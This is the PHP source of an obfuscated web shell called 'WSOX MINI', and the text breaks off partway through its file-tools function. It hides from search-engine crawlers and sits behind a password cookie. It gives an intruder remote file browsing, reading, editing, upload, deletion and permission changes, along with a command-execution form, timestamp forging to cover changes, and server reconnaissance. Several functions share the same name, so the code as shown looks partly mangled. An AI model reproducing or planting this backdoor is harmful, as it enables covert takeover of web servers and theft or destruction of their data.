<?php
$ps = "de918f6ea2e9479ed9d81a8147dbae3d";
$_vza = "#df5";
$_smp = "fm";
$default_charset = "Windows-1251";
if (!empty($_SERVER["HTTP_USER_AGENT"])) {
    $_wejg = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if (@Preg_mATcH("/" . join("|", $_wejg) . "/i", $_SERVER["HTTP_USER_AGENT"])) {
        HEADEr("HTTP/1.0 404 Not Found");
        exit;
    }
}
if (FuNCtioN_exIsTS("version_compare") && FuNCTIoN_ExISts("phpversion")) {
    if (VeRsiON_cOMPARe(pHPVersIOn(), "5.4.0", "<")) {
        @magic_quotes_runtime((int) round(0 + 0));
    }
}
if (FunctioN_EXisTs("get_magic_quotes_gpc") && FUncTion_ExISTs("array_map") && FunctION_EXIsTs("stripslashes")) {
    if (get_MaGic_qUoTEs_GpC()) {
        function wSs($_tu)
        {
            return IS_ArRAY($_tu) ? arrAy_Map("WSS", $_tu) : STriPSlAsHeS($_tu);
        }
        $_POST = wSS($_POST);
        $_COOKIE = wSS($_COOKIE);
    }
}
function _()
{
    die("<form method=post><input type=password name=ps><input type=submit value='>>'></form>");
}
function _($_lyfl, $_kg)
{
    $_COOKIE[$_lyfl] = $_kg;
    SETCOOKie($_lyfl, $_kg);
}
if (!empty($ps)) {
    $cook = suBstR(Md5($_SERVER["HTTP_HOST"]), (int) round(0 + 0 + 0), -154 + 157);
    if (isset($_POST["ps"]) && md5($_POST["ps"]) == $ps) {
        _($cook, $ps);
    }
    if (!isset($_COOKIE[$cook]) || $_COOKIE[$cook] != $ps) {
        _();
    }
}
if (sTrTOlOWeR(SuBstr(PHP_OS, 263 + -214 + -49, 574 + -571)) == "win") {
    $os = "win";
} else {
    $os = "nix";
}
if (functiOn_EXiSTS("ini_get")) {
    $safe_mode = @INI_Get("safe_mode");
    $disable_functions = @Ini_gET("disable_functions");
}
if (fUNCtion_eXIsTs("getcwd")) {
    $home_cwd = @gEtCWD();
} else {
    $home_cwd = @DIRnAME(__FILE__);
}
if (isset($_POST["c"]) && $_POST["c"] != "") {
    $_POST["c"] = Str_roT13($_POST["c"]);
}
if (isset($_POST["c"])) {
    if (FunCTiOn_ExISTS("chdir")) {
        @ChDIr($_POST["c"]);
    }
}
if (fuNCTioN_EXIsTS("getcwd")) {
    $cwd = @GETCwD();
} elseif (isset($_POST["c"]) && $_POST["c"] != "") {
    $cwd = $_POST["c"];
} else {
    $cwd = $home_cwd;
}
if ($os == "win") {
    $home_cwd = Str_rEpLAcE("\\", "/", $home_cwd);
    $cwd = STr_rEPlaCE("\\", "/", $cwd);
}
if ($cwd[stRLeN($cwd) - (int) round(0.33333333333333 + 0.33333333333333 + 0.33333333333333)] != "/") {
    $cwd .= "/";
}
function _؉()
{
    if (empty($_POST["ch"])) {
        $_POST["ch"] = $GLOBALS["default_charset"];
    }
    global $_vza;
    echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST["ch"] . "'><title>" . $_SERVER["HTTP_HOST"] . " - WSOX MINI</title>\r\n<style>\r\nbody{background-color:#444;color:#e1e1e1;}\r\nbody,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }\r\ntable.info{ color:#fff;background-color:#222; }\r\nspan,h1,a{ color: " . $_vza . " !important; }\r\nspan{ font-weight: bolder; }\r\nspan.wfw{font-weight:normal;}\r\nh1{ border-left:5px solid " . $_vza . ";padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }\r\ndiv.content{ padding: 5px;margin-left:5px;background-color:#333; }\r\na{ text-decoration:none; }\r\na:hover{ text-decoration:underline; }\r\n.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }\r\n.bigarea{ width:100%;height:300px; }\r\ninput,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid " . $_vza . "; font: 9pt Monospace,'Courier New'; }\r\nform{ margin:0px; }\r\n#toolsTbl{ text-align:center; }\r\n.toolsInp{ width: 300px }\r\n.main th{text-align:left;background-color:#5e5e5e;}\r\n.main tr:hover{background-color:#5e5e5e}\r\n.l1{background-color:#444}\r\n.l2{background-color:#333}\r\npre{font-family:Courier,Monospace;}\r\n</style>\r\n<script>\r\n    var c_ = '" . HTMlSpeCIaLChaRS(str_ROT13($GLOBALS["cwd"])) . "';\r\n    var a_ = '" . HTmlSpeCiAlcharS($_POST["a"]) . "'\r\n    var ch_ = '" . hTmlSPeCiALcHars($_POST["ch"]) . "';\r\n    var p_ = '" . (sTRpOs($_POST["p"], "\n") !== false ? "" : HTmlSpEciAlCHarS($_POST["p"], 254 + -251)) . "';\r\n    var x_ = '" . (sTRpOs($_POST["x"], "\n") !== false ? "" : HTMLSpeCIAlChaRS($_POST["x"], 55 - -16 - 68)) . "';\r\n    var s_ = '" . (Strpos($_POST["s"], "\n") !== false ? "" : HTMlSPEcIaLchARS($_POST["s"], 151 + -303 + 155)) . "';\r\n    var d = document;\r\n\tfunction set(a,c,p,x,s,ch) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p!=null)d.mf.p.value=p;else d.mf.p.value=p_;\r\n\t\tif(x!=null)d.mf.x.value=x;else d.mf.x.value=x_;\r\n\t\tif(s!=null)d.mf.s.value=s;else d.mf.s.value=s_;\r\n\t\tif(ch!=null)d.mf.ch.value=ch;else d.mf.ch.value=ch_;\r\n\t}\r\n\tfunction g(a,c,p,x,s,ch) {\r\n\t\tset(a,c,p,x,s,ch);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction utoa(str) {\r\n\t\treturn window.btoa(unescape(encodeURIComponent(str)));\r\n\t}\r\n\tfunction atou(str) {\r\n\t\treturn decodeURIComponent(escape(window.atob(str)));\r\n\t}\r\n\tfunction rot13(str) {\r\n\t  var input     = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';\r\n\t  var output    = 'NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm';\r\n\t  var index     = x => input.indexOf(x);\r\n\t  var translate = x => index(x) > -1 ? output[index(x)] : x;\r\n\t  return str.split('').map(translate).join('');\r\n\t}\r\n\tvar cvis = false;\r\n\tfunction show(){\r\n\t\tif(!cvis) {\r\n\t\t\tdocument.getElementById('bat').innerHTML = 'Links';\r\n\t\t\tdocument.getElementById('cwd').style.display = 'inline';\r\n\t\t\tdocument.getElementById('links').style.display = 'none';\r\n\t\t\tcvis = true;\r\n\t\t} else {\r\n\t\t\tdocument.getElementById('bat').innerHTML = 'Text';\r\n\t\t\tdocument.getElementById('cwd').style.display = 'none';\r\n\t\t\tdocument.getElementById('links').style.display = 'inline';\t\r\n\t\t\tcvis = false;\r\n\t\t}\r\n\t}\r\n</script>\r\n<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>\r\n<form method=post name=mf style='display:none;'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p>\r\n<input type=hidden name=x>\r\n<input type=hidden name=s>\r\n<input type=hidden name=ch>\r\n</form>";
    if (fUncTIoN_EXISTS("diskfreespace")) {
        $_rw = @disKFrEespace($GLOBALS["cwd"]);
    }
    if (fUncTIOn_exIsts("disk_total_space")) {
        $_jl = @dISk_TOtAL_sPaCe($GLOBALS["cwd"]);
    }
    $_jl = $_jl ? $_jl : -299 + 526 - 226;
    if (fUnctION_exISts("php_uname")) {
        $_mfvu = @PHp_uName();
        $_ubac = @PhP_UNaME("r");
        $_bmh = @Php_UName("s");
    }
    if (!FUNCTIOn_eXiSTS("posix_getegid")) {
        if (funcTiOn_ExIsTS("get_current_user")) {
            $_hb = @gEt_cuRREnt_uSer();
        }
        if (fuNCtiOn_ExIsTS("getmyuid")) {
            $_mkds = @gEtMyuId();
        }
        if (fuNcTioN_EXISTs("getmygid")) {
            $_ltxp = @getmygid();
        }
        $_vx = "?";
    } else {
        $_mkds = @poSIx_GETPWUId(@pOSiX_gEteUiD());
        $_ltxp = @poSIX_getgRGid(@posiX_GETEgiD());
        $_hb = $_mkds["name"];
        $_mkds = $_mkds["uid"];
        $_vx = $_ltxp["name"];
        $_ltxp = $_ltxp["gid"];
    }
    if (fUnctIoN_exIsTS("mb_detect_encoding") && FuNcTioN_ExIsTS("iconv")) {
        if (@Mb_dEtEct_EncODIng($_hb, "Windows-1251")) {
            $_hb = @Iconv("Windows-1251", "UTF-8", $_hb);
        }
    }
    $cwd_links = "";
    $_cm = ExpLoDE("/", $GLOBALS["cwd"]);
    $_pfy = CoUnT($_cm);
    for ($_wvlc = (int) round(0 + 0 + 0); $_wvlc < $_pfy - (int) round(0.5 + 0.5); $_wvlc++) {
        $cwd_links .= "<a href='#' onclick='g(\"fm\",\"";
        for ($_ra = (int) round(0 + 0 + 0); $_ra <= $_wvlc; $_ra++) {
            $cwd_links .= StR_rOT13($_cm[$_ra]) . "/";
        }
        $cwd_links .= "\",\"\",\"\")'>" . $_cm[$_wvlc] . "/</a>";
    }
    $_fv = array("UTF-8", "Windows-1251", "KOI8-R", "KOI8-U", "cp866");
    $_oai = "";
    foreach ($_fv as $_iq) {
        $_oai .= "<option value=\"" . $_iq . "\" " . ($_POST["ch"] == $_iq ? "selected" : "") . ">" . $_iq . "</option>";
    }
    $_el = array("Files" => "fm");
    if (!empty($GLOBALS["ps"])) {
        $_el["Logout"] = "Logout";
    }
    $_el["Self remove"] = "SelfRemove";
    $_ubi = "";
    foreach ($_el as $_lyfl => $_kg) {
        $_ubi .= "<th width=\"" . (int) ((int) round(50 + 50) / cOUNt($_el)) . "%\">[ <a href=\"#\" onclick=\"g('" . $_kg . "',null,'','','')\">" . $_lyfl . "</a> ]</th>";
    }
    $drives = "";
    if ($GLOBALS["os"] == "win") {
        foreach (ranGe("c", "z") as $drive) {
            if (IS_dIR($drive . ":\\")) {
                $drives .= "<a href=\"#\" onclick=\"g('fm','" . stR_rOt13($drive) . ":/')\">[ " . $drive . " ]</a> ";
            }
        }
    }
    echo "<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:" . ($GLOBALS["os"] == "win" ? "<br>Drives:" : "") . "</span></td>" . "<td><nobr>" . ($_mfvu ? suBStR($_mfvu, (int) round(0 + 0 + 0), -445 + 565) : "N/A") . "</nobr><br>" . $_mkds . " ( " . $_hb . " ) <span>Group:</span> " . $_ltxp . " ( " . $_vx . " )<br>" . @PHPVeRsIon() . " <span>Safe mode:</span> " . ($GLOBALS["safe_mode"] ? "<font color=red>ON</font>" : "<font color=green><b>OFF</b></font>") . " <a href=# onclick=\"g('Php',null,'','info')\">[ phpinfo ]</a> <span>Datetime:</span> " . daTE("Y-m-d H:i:s") . "<br>" . ($_jl ? _($_jl) : "") . " <span>Free:</span> " . ($_rw ? _($_rw) : "") . " (" . ($_rw && $_jl ? (int) ($_rw / $_jl * (116 + -16)) : "0") . "%)<br><span id=\"links\" class=\"wfw\">" . $cwd_links . " " . _Ħ($GLOBALS["cwd"]) . " <a href=# onclick=\"g('fm','" . StR_rot13($GLOBALS["home_cwd"]) . "','','','')\">[ home ]</a></span><span id=\"cwd\" style=\"display: none;\" class=\"wfw\"><input size=" . (strLEN($GLOBALS["cwd"]) + (int) round(3 + 3)) . " type=text value=\"" . $GLOBALS["cwd"] . "\"></span> <a href=# onclick=\"show();\"><font color=#fff id=\"bat\">Text</font></a><br>" . $drives . "</td>" . "<td width=1 align=right><nobr><select onchange=\"g(null,null," . (!empty($_POST["p"]) ? "'" . STr_rot13($_POST["p"]) . "'" : "null") . ",null,null,this.value)\"><optgroup label=\"Page charset\">" . $_oai . "</optgroup></select><br><span>Server IP:</span><br>" . $_SERVER["SERVER_ADDR"] . "<br><span>Client IP:</span><br>" . $_SERVER["REMOTE_ADDR"] . "</nobr></td></tr></table>" . "<table style=\"border-top:2px solid #333;\" cellpadding=3 cellspacing=0 width=100%><tr>" . $_ubi . "</tr></table><div style=\"margin:5\">";
}
function _ۖ()
{
    $_ue = is_WriTaBlE($GLOBALS["cwd"]) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
    echo "\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>\r\n\t<tr>\r\n\t\t<td><form onsubmit='g(null,rot13(this.c.value),\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlSpeCIAlcHaRs($GLOBALS["cwd"]) . "'><input type=submit value='>>'></form></td>\r\n\t\t<td><form onsubmit=\"g('ft',null,rot13(this.f.value));return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\"g('fm',null,'mkdir',rot13(this.d.value));return false;\"><span>Make dir:</span>" . $_ue . "<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>\r\n\t\t<td><form onsubmit=\"g('ft',null,rot13(this.f.value),'mkfile');return false;\"><span>Make file:</span>" . $_ue . "<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\"g('ce',null,utoa(this.c.value));return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>\r\n\t\t<td><form method='post' ENCTYPE='multipart/form-data'>\r\n\t\t<input type=hidden name=a value='fm'>\r\n\t\t<input type=hidden name=c value='" . sTR_rot13($GLOBALS["cwd"]) . "'>\r\n\t\t<input type=hidden name=p value='uploadFile'>\r\n\t\t<input type=hidden name=ch value='" . (isset($_POST["ch"]) ? $_POST["ch"] : "") . "'>\r\n\t\t<span>Upload file:</span>" . $_ue . "<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>\r\n\t</tr></table></div></body></html>";
}
if (!funCTIon_existS("posix_getpwuid") && sTrPOS($GLOBALS["disable_functions"], "posix_getpwuid") === false) {
    function POSiX_GEtPwUID($_hp)
    {
        return false;
    }
}
if (!fuNcTioN_exiStS("posix_getgrgid") && STRPOS($GLOBALS["disable_functions"], "posix_getgrgid") === false) {
    function PoSIx_gETgRGid($_hp)
    {
        return false;
    }
}
function _($_hu)
{
    if (Is_InT($_hu)) {
        $_hu = sprInTF("%u", $_hu);
    }
    if ($_hu >= (int) round(357913941.33333 + 357913941.33333 + 357913941.33333)) {
        return SPrInTF("%1.2f", $_hu / (1073742042 - 1073741162 - -1073740944)) . " GB";
    } elseif ($_hu >= (int) round(349525.33333333 + 349525.33333333 + 349525.33333333)) {
        return spRINTF("%1.2f", $_hu / (int) round(349525.33333333 + 349525.33333333 + 349525.33333333)) . " MB";
    } elseif ($_hu >= 1185 + 623 + -784) {
        return spRInTf("%1.2f", $_hu / (869 + 1111 + -956)) . " KB";
    } else {
        return $_hu . " B";
    }
}
function _($_hp)
{
    if (($_hp & 48921 - -231) == 48651 + 49406 + -48905) {
        $_wvlc = "s";
    } elseif (($_hp & (int) round(20480 + 20480)) == (int) round(20480 + 20480)) {
        $_wvlc = "l";
    } elseif (($_hp & (int) round(16384 + 16384)) == (int) round(10922.666666667 + 10922.666666667 + 10922.666666667)) {
        $_wvlc = "-";
    } elseif (($_hp & 24784 + 25233 - 25441) == (int) round(8192 + 8192 + 8192)) {
        $_wvlc = "b";
    } elseif (($_hp & 16322 - -62) == (int) round(8192 + 8192)) {
        $_wvlc = "d";
    } elseif (($_hp & 8257 - 8400 - -8335) == (int) round(2730.6666666667 + 2730.6666666667 + 2730.6666666667)) {
        $_wvlc = "c";
    } elseif (($_hp & 4229 - 3995 + 3862) == 4344 + -248) {
        $_wvlc = "p";
    } else {
        $_wvlc = "u";
    }
    $_wvlc .= $_hp & (int) round(85.333333333333 + 85.333333333333 + 85.333333333333) ? "r" : "-";
    $_wvlc .= $_hp & 348 - 145 - 75 ? "w" : "-";
    $_wvlc .= $_hp & (int) round(21.333333333333 + 21.333333333333 + 21.333333333333) ? $_hp & (int) round(1024 + 1024) ? "s" : "x" : ($_hp & 2161 + -113 ? "S" : "-");
    $_wvlc .= $_hp & (int) round(10.666666666667 + 10.666666666667 + 10.666666666667) ? "r" : "-";
    $_wvlc .= $_hp & 156 + -140 ? "w" : "-";
    $_wvlc .= $_hp & (int) round(4 + 4) ? $_hp & 1318 + -294 ? "s" : "x" : ($_hp & 1019 + 5 ? "S" : "-");
    $_wvlc .= $_hp & -751 + 755 ? "r" : "-";
    $_wvlc .= $_hp & (int) round(0.66666666666667 + 0.66666666666667 + 0.66666666666667) ? "w" : "-";
    $_wvlc .= $_hp & (int) round(0.33333333333333 + 0.33333333333333 + 0.33333333333333) ? $_hp & (int) round(170.66666666667 + 170.66666666667 + 170.66666666667) ? "t" : "x" : ($_hp & 827 - 315 ? "T" : "-");
    return $_wvlc;
}
function _Ħ($_xw)
{
    if (!@IS_ReaDABLe($_xw)) {
        return "<font color=#FF0000>" . _(@FilepermS($_xw)) . "</font>";
    } elseif (!@iS_writaBLe($_xw)) {
        return "<font color=white>" . _(@fIlEPeRMS($_xw)) . "</font>";
    } else {
        return "<font color=#25ff00>" . _(@FilePERMs($_xw)) . "</font>";
    }
}
function _($_ioko)
{
    if (fUnCTIOn_ExiSts("scandir")) {
        return scAnDir($_ioko);
    } else {
        $_ip = opeNdIr($_ioko);
        while (false !== ($_io = rEadDir($_ip))) {
            $_jsm[] = $_io;
        }
        return $_jsm;
    }
}
function acTiONfM()
{
    if (!empty($_COOKIE["f"])) {
        $_COOKIE["f"] = @UNsERIAlIZE($_COOKIE["f"]);
    }
    if (!empty($_POST["p"])) {
        $_rdbd = @FilemTiME($_POST["c"]);
        switch ($_POST["p"]) {
            case "uploadFile":
                if (!@mOve_uPLoADeD_FIlE($_FILES["f"]["tmp_name"], $_FILES["f"]["name"])) {
                    echo "Can't upload file!";
                } elseif ($_rdbd) {
                    toUcH($_FILES["f"]["name"], $_rdbd, $_rdbd);
                }
                break;
            case "delete":
                function _ͻ($_cm)
                {
                    $_cm = SubSTr($_cm, -(int) round(0.5 + 0.5)) == "/" ? $_cm : $_cm . "/";
                    $_ip = opENdIr($_cm);
                    while (($_iq = reAddIR($_ip)) !== false) {
                        $_iq = $_cm . $_iq;
                        if (BasENAme($_iq) == ".." || baseNamE($_iq) == ".") {
                            continue;
                        }
                        $_qhh = FilEtype($_iq);
                        if ($_qhh == "dir") {
                            _ͻ($_iq);
                        } else {
                            @uNlINK($_iq);
                        }
                    }
                    ClOSEdiR($_ip);
                    @RMdir($_cm);
                }
                if (iS_aRrAY($_POST["f"])) {
                    foreach ($_POST["f"] as $_xw) {
                        if ($_xw == "..") {
                            continue;
                        }
                        $_xw = sTr_rot13(uRldeCODE($_xw));
                        echo $_xw;
                        if (Is_diR($_xw)) {
                            _ͻ($_xw);
                        } else {
                            @Unlink($_xw);
                        }
                    }
                }
                break;
        }
        if ($_rdbd) {
            ToUCh($_POST["c"], $_rdbd, $_rdbd);
        }
    }
    _؉();
    echo "<h1>File manager</h1><div class=content><script>p_=x_=s_=\"\";</script>";
    $_zka = _(isset($_POST["c"]) ? $_POST["c"] : $GLOBALS["cwd"]);
    if ($_zka === false) {
        echo "Can't open this folder!";
        _ۖ();
        return;
    }
    global $sort;
    $sort = array("name", (int) round(0.33333333333333 + 0.33333333333333 + 0.33333333333333));
    echo "<script>\r\n\tfunction sa() {\r\n\t\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\t\tif(d.files.elements[i].type == 'checkbox')\r\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n\t}\r\n</script>\r\n<table width='100%' class='main' cellspacing='0' cellpadding='2'>\r\n<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
    $_tge = $_jsm = array();
    $_pfy = couNt($_zka);
    for ($_wvlc = (int) round(0 + 0); $_wvlc < $_pfy; $_wvlc++) {
        if (funCTION_eXIStS("posix_getpwuid")) {
            $_dirj = @PosIx_GETpWUid(@fileOwner($_zka[$_wvlc]));
            $_vk = @POSix_geTGRgId(@fILEgroup($_zka[$_wvlc]));
        }
        $_mok = array("name" => $_zka[$_wvlc], "path" => $GLOBALS["cwd"] . $_zka[$_wvlc], "modify" => daTE("Y-m-d H:i:s", @FilemtIMe($GLOBALS["cwd"] . $_zka[$_wvlc])), "perms" => _Ħ($GLOBALS["cwd"] . $_zka[$_wvlc]), "size" => @fILeSIze($GLOBALS["cwd"] . $_zka[$_wvlc]), "owner" => $_dirj["name"] ? $_dirj["name"] : @fileOwner($_zka[$_wvlc]), "group" => $_vk["name"] ? $_vk["name"] : @FIlEgROUP($_zka[$_wvlc]));
        if (@is_fiLE($GLOBALS["cwd"] . $_zka[$_wvlc])) {
            $_jsm[] = arraY_MeRGE($_mok, array("type" => "file"));
        } elseif (@Is_LINK($GLOBALS["cwd"] . $_zka[$_wvlc])) {
            $_tge[] = Array_Merge($_mok, array("type" => "link", "link" => rEADLiNk($_mok["path"])));
        } elseif (@IS_dir($GLOBALS["cwd"] . $_zka[$_wvlc])) {
            $_tge[] = ArRAy_mErgE($_mok, array("type" => "dir"));
        }
    }
    $GLOBALS["sort"] = $sort;
    function Wcmp($_av, $_wr)
    {
        return strCMP(strtOlOweR($_av[$GLOBALS["sort"][266 - -235 + -501]]), sTRtOLOWer($_wr[$GLOBALS["sort"][-376 + 376]])) * ($GLOBALS["sort"][(int) round(0.5 + 0.5)] ? 278 + -321 + 44 : -(int) round(0.33333333333333 + 0.33333333333333 + 0.33333333333333));
    }
    USoRt($_jsm, "wCmp");
    USOrT($_tge, "wCmp");
    $_jsm = aRRAY_MeRge($_tge, $_jsm);
    $_wkfe = 70 - -168 + -238;
    foreach ($_jsm as $_xw) {
        $_otf = sTR_ROt13(URLeNCOdE($_xw["name"]));
        echo "<tr" . ($_wkfe ? " class=l1" : "") . "><td><input type=checkbox name=\"f[]\" value=\"" . $_otf . "\" class=chkbx></td><td><a href=# onclick=\"" . ($_xw["type"] == "file" ? "g('ft',null,'" . $_otf . "', 'view')\">" . htmLspECIALCHaRS($_xw["name"]) : "g('fm','" . Str_rOt13($_xw["path"]) . "');\" " . (empty($_xw["link"]) ? "" : "title='" . $_xw["link"] . "'") . "><b>[ " . hTMlspEcIaLCHArs($_xw["name"]) . " ]</b>") . "</a></td><td>" . ($_xw["type"] == "file" ? _($_xw["size"]) : $_xw["type"]) . "</td><td>" . $_xw["modify"] . "</td><td>" . $_xw["owner"] . "/" . $_xw["group"] . "</td><td><a href=# onclick=\"g('ft',null,'" . $_otf . "','chmod')\">" . $_xw["perms"] . "</td><td><a href=\"#\" onclick=\"g('ft',null,'" . $_otf . "', 'rename')\">R</a> <a href=\"#\" onclick=\"g('ft',null,'" . $_otf . "', 'touch')\">T</a>" . ($_xw["type"] == "file" ? " <a href=\"#\" onclick=\"g('ft',null,'" . $_otf . "', 'edit')\">E</a> <a href=\"#\" onclick=\"g('ft',null,'" . $_otf . "', 'download')\">D</a>" : "") . "</td></tr>";
        $_wkfe = $_wkfe ? 470 - -354 + -824 : (int) round(0.5 + 0.5);
    }
    echo "<tr><td colspan=7>\r\n\t<input type=hidden name=a value='fm'>\r\n\t<input type=hidden name=c value='" . hTMLsPECIAlchars(sTr_rOT13($GLOBALS["cwd"])) . "'>\r\n\t<input type=hidden name=ch value='" . (isset($_POST["ch"]) ? $_POST["ch"] : "") . "'>\r\n\t<select name='p'><option value='delete'>Delete</option>";
    echo "</select>&nbsp;";
    echo "<input type='submit' value='>>'></td></tr></form></table></div>";
    _ۖ();
}
function ActiOnFt()
{
    if (isset($_POST["p"])) {
        $_POST["p"] = StR_rOT13(uRLdeCODE($_POST["p"]));
    }
    if (isset($_POST["x"])) {
        switch ($_POST["x"]) {
            case "download":
                if (@is_fIlE($_POST["p"]) && @iS_reaDABlE($_POST["p"])) {
                    OB_StarT("ob_gzhandler", (int) round(2048 + 2048));
                    HEADer("Content-Disposition: attachment; filename=" . BAsEnAme($_POST["p"]));
                    if (fUnctioN_eXIsTS("mime_content_type")) {
                        $_qhh = @MIme_ConTent_TYpe($_POST["p"]);
                        HEAdeR("Content-Type: " . $_qhh);
                    } else {
                        HEAder("Content-Type: application/octet-stream");
                    }
                    $_tdtc = @fopEn($_POST["p"], "r");
                    if ($_tdtc) {
                        while (!@FEOF($_tdtc)) {
                            echo @FgetS($_tdtc, 966 - -58);
                        }
                        fcloSe($_tdtc);
                    }
                }
                exit;
                break;
            case "mkfile":
                if (!FILE_eXiSts($_POST["p"])) {
                    $_ujhi = @filemtImE($_POST["c"]);
                    $_tdtc = @FOpEN($_POST["p"], "w");
                    if ($_tdtc) {
                        $_POST["x"] = "edit";
                        FCLOSE($_tdtc);
                        if ($_ujhi) {
                            tOUch($_POST["c"], $_ujhi, $_ujhi);
                            touCh($_POST["p"], $_ujhi, $_ujhi);
                        }
                    }
                }
                break;
        }
    }
    _؉();
    echo "<h1>File tools</h1><div class=content>";
    if (!fIlE_exIStS($_POST["p"])) {
        echo "File not exists";
        _ۖ();
        return;
    }
    $_mkds = @posIx_GEtpwuiD(@fIleoWner($_POST["p"]));
    if (!$_mkds) {
        $_mkds["name"] = @fIlEOwner($_POST["p"]);
        $_ltxp["name"] = @FiLEgrOup($_POST["p"]);
    } else {
        $_ltxp = @POsIX_GeTgrGiD(@FIlegrOUp($_POST["p"]));
    }
    echo "<span>Name:</span> " . hTmlSpeCiALchars(@BAsEnAme($_POST["p"])) . " <span>Size:</span> " . (IS_FIle($_POST["p"]) ? _(FIlESizE($_POST["p"])) : "-") . " <span>Permission:</span> " . _Ħ($_POST["p"]) . " <span>Owner/Group:</span> " . $_mkds["name"] . "/" . $_ltxp["name"] . "<br>";
    echo "<span>Change time:</span> " . dAtE("Y-m-d H:i:s", FILeCTimE($_POST["p"])) . " <span>Access time:</span> " . DATE("Y-m-d H:i:s", FiLEAtimE($_POST["p"])) . " <span>Modify time:</span> " . DatE("Y-m-d H:i:s", fIleMtImE($_POST["p"])) . "<br><br>";
    if (empty($_POST["x"])) {
        $_POST["x"] = "view";
    }
    if (is_file($_POST["p"])) {
        $_el = array("View", "Download", "Edit", "Chmod", "Rename", "Touch");
    } else {
        $_el = array("Chmod", "Rename", "Touch");
    }
    foreach ($_el as $_kg) {
        echo "<a href=# onclick=\"g(null,null,'" . urLeNCoDE(STR_rOt13($_POST["p"])) . "','" . Strtolower($_kg) . "')\">" . (sTRtOLoWer($_kg) == $_POST["x"] ? "<b>[ " . $_kg . " ]</b>" : $_kg) . "</a> ";
    }
    echo "<br><br>";
    switch ($_POST["x"]) {
        case "view":
            echo "<pre class=ml1>";
            $_tdtc = @fopEn($_POST["p"], "r");
            if ($_tdtc) {
                while (!@FEOF($_tdtc)) {
                    echo hTMLspECiaLcHARs(@fGeTS($_tdtc, 487 - 872 - -1409));
                }
                @FcLosE($_tdtc);
            }
            echo "</pre>";
            break;
        case "chmod":
            if (!empty($_POST["s"])) {
                $_dghz = (int) round(0 + 0 + 0);
                for ($_wvlc = StRLEn($_POST["s"]) - (int) round(0.5 + 0.5); $_wvlc >= (int) round(0 + 0); --$_wvlc) {
                    $_dghz += (int) $_POST["s"][$_wvlc] * poW(-5 - -13, StrLEn($_POST["s"]) - $_wvlc - (-37 + 38));
                }
                if (!@ChmOd($_POST["p"], $_dghz)) {
                    echo "Can't set permissions!<br><script>document.mf.s.value=\"\";</script>";
                }
            }
            cLeArsTATcaChe();
            echo "<script>s_=\"\";</script><form onsubmit=\"g(null,null,'" . urlENCoDE(stR_Rot13($_POST["p"])) . "',null,this.chmod.value);return false;\"><input type=text name=chmod value=\"" . subSTr(SPRiNTF("%o", filEPeRMS($_POST["p"])), -(181 - 177)) . "\"><input type=submit value=\">>\"></form>";
            break;
        case "edit":
            if (!IS_wRitAblE($_POST["p"])) {
                echo "File isn't writeable";
                break;
            }
            if (!empty($_POST["s"])) {
                $_rdbd = @FILemtIMe($_POST["p"]);
                $_POST["s"] = SUbstr($_POST["s"], (int) round(0.5 + 0.5));
                $_POST["s"] = baSE64_dECoDe($_POST["s"]);
                $_tdtc = @FOPen($_POST["p"], "w");
                if ($_tdtc) {
                    @fputs($_tdtc, $_POST["s"]);
                    @FClOSe($_tdtc);
                    echo "Saved!<br><script>s_=\"\";</script>";
                }
            }
            echo "<form onsubmit=\"g(null,null,'" . UrLenCoDE(sTr_Rot13($_POST["p"])) . "',null,'1'+utoa(this.text.value));return false;\"><textarea name=text class=bigarea>";
            $_tdtc = @FOpen($_POST["p"], "r");
            if ($_tdtc) {
                while (!@feOf($_tdtc)) {
                    echo HtmLsPeCIAlcHArS(@fgETS($_tdtc, 1218 + -194));
                }
                @FClOse($_tdtc);
            }
            echo "</textarea><input type=submit value=\"Save\"></form>";
            if ($_rdbd) {
                TOUcH($_POST["p"], $_rdbd, $_rdbd);
            }
            break;
        case "rename":
            $_ujhi = @fILeMTImE($_POST["c"]);
            if (!empty($_POST["s"])) {
                if (!@RenAMe($_POST["p"], stR_ROt13($_POST["s"]))) {
                    echo "Can't rename!<br>";
                } else {
                    if ($_ujhi) {
                        ToUCH($_POST["c"], $_ujhi, $_ujhi);
                    }
                    die("<script>g(null,null,\"" . UrLenCODe($_POST["s"]) . "\",null,\"\")</script>");
                }
            }
